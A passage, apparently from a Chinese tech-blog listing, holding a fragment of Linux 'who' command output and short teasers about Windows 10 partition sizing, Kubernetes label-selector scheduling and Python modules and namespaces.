    ~]# who -b 系统引导 2020-05-03 19:57[root@localhost ~]# who -r 运行级别 5 2020-05-03 19:58

  8. WIN10 分区 C盘 至少250-300G E盘至少700G

    win10 就2个分区 C盘 至少250-300G  E盘至少700G

  9. 008.kubernets的调度系统之标签选择器

    一 Kubernetes 调度简介 除了让 kubernetes 集群调度器自动为 pod 资源选择某个节点(默认调度考虑的是资源足够,并且 load 尽量平均),有些情况我们希望能更多地控制 pod ...

  10. python基础之包、模块、命名空间和作用域

    一.模块介绍 模块就是一组功能的集合体,我们的程序可以导入模块来复用模块里的功能. 模块的作用: (1)从文件级别组织程序,更方便管理:随着程序的发展,功能越来越多,为了方便管理,我们通常将程序分成一 ...